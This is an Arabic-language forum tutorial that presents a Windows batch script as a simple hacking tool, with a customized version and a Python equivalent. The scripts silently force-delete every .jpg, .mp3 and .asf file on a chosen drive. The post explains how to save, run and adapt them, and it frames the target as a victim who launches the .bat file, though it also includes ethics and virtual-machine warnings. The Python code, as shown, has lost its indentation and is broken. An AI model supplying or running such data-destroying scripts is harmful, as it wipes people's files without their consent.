
- بواسطة x32x01 ||
دليل تعليمي: برمجة أداة حذف ملفات بـ Batch
لو إنت مهتم بمجال الأمن السيبراني وبتحب تتعلم إزاي الهكرز بيبرمجوا أدواتهم، المقال ده هيشرح سكربت بسيط بلغة Batch بيحذف ملفات بامتدادات معينة زي .mp3، .jpg، و.asf.

إزاي يشتغل الكود بتاع حذف الملفات؟
الكود مكتوب بلغة Batch، وهي لغة سكربتات بتاعة Windows. بيستخدم أمرdel
(بديل حديث لـ deltree
) عشان يحذف ملفات بامتدادات معينة زي .mp3، .jpg، و.asf من أقسام الهارد. الكود بيحتاج إذن إداري (Admin Privileges) عشان يشتغل، وبرامج الحماية زي Windows Defender ممكن تكتشفه لو تم تحليله.شرح الكود خطوة بخطوة
ده الكود الأصلي مع تعديل عشان يشتغل على الأنظمة الحديثة: Code:
@echo off
e:
del /Q /F *.jpg
cd\
del /Q /F *.mp3
cd\
del /Q /F *.asf
@echo off
: بيخفّي الأوامر أثناء التنفيذ عشان الشاشة تبقى نضيفة.e:
: بينتقل للقسم E: (تقدر تغيّره لأي قسم زي D: أو F:).del /Q /F *.jpg
: بيحذف كل الملفات بامتداد .jpg بدون طلب تأكيد (/Q) وبقوة (/F).cd\
: بيرجع للمجلد الجذر (Root) في القسم.del /Q /F *.mp3
: بيحذف ملفات .mp3.del /Q /F *.asf
: بيحذف ملفات .asf.
deltree
قديم ومش مدعوم في Windows 10/11. استخدمنا del
بداله عشان الكود يشتغل صح.إزاي تنفذ الكود؟
- افتح برنامج Notepad وانسخ الكود.
- احفظ الملف باسم زي
delete_files.bat
(مهم إن الامتداد يكون .bat). - لو عايز تجرب الكود، شغله في بيئة آمنة زي Virtual Machine.
تخصيص الكود
تقدر تغيّر الامتدادات في الكود حسب احتياجك. مثلاً:- بدل .mp3، استخدم .png أو .pdf.
- غيّر القسم E: لأي قسم تاني زي D: أو F:.
مثال معدل:
Code:
@echo off
d:
del /Q /F *.png
cd\
del /Q /F *.pdf
بديل بسيط باستخدام Python
لو عايز كود أكتر مرونة، Python هي الخيار الأفضل. الكود التالي بيستخدم مكتبة os عشان يحذف ملفات بامتدادات معينة. Python:
# مثال لحذف ملفات بامتدادات معينة باستخدام Python
import os
import glob
drive = "E:" # غيّر الحرف حسب القسم
os.chdir(drive)
for file in glob.glob("*.jpg"):
os.remove(file)
for file in glob.glob("*.mp3"):
os.remove(file)
for file in glob.glob("*.asf"):
os.remove(file)
print("تم حذف الملفات! 🚨")
- os وglob: بيسمحولك تحدد الملفات بامتدادات معينة وتحذفها.
- مرن: تقدر تضيف لوج أو تحدد أقسام معينة.
- تحذير: زي الكود بتاع Batch، لازم تستخدمه في بيئة آمنة!
ليه الكود ده مش "فيروس حقيقي"؟
الكود ده مش فيروس قوي زي ما يتوقع البعض للأسباب دي:- محتاج إذن المستخدم: لازم الضحية يشغل ملف .bat بنفسه.
- سهل الكشف: برامج الحماية زي Windows Defender ممكن تكتشفه كسكربت ضار.
- تأثير محدود: بيحتاج إذن إداري (Admin Privileges) عشان يحذف ملفات من أقسام محمية.
نصايح لبناء أدوات اختراق أخلاقية
- اتعلم Python: ابدأ بكورسات على يوتيوب زي "Python for Ethical Hacking".
- جرب مكتبات قوية: زي Requests، Scapy، وSelenium.
- مارس في بيئة آمنة: استخدم منصات زي TryHackMe أو HackTheBox.
- انشر مشاريعك: انشئ حساب على GitHub وشارك أدواتك عشان تتحسن.
الخلاصة: برمج بأخلاقيات وتعلم بأمان!
السكربت اللي شرحناه (سواء Batch أو Python) هو أداة بسيطة لتعليم مفاهيم الأمن السيبراني. لو عايز تبني أدوات اختراق احترافية، ركز على تعلم Python ومكتباتها زي Scapy وRequests. جرب أدواتك في بيئة آمنة، وشاركها على GitHub. الأهم إنك تحافظ على الأخلاقيات وتستخدم مهاراتك في حماية الأنظمة، مش تدميرها!
التعديل الأخير: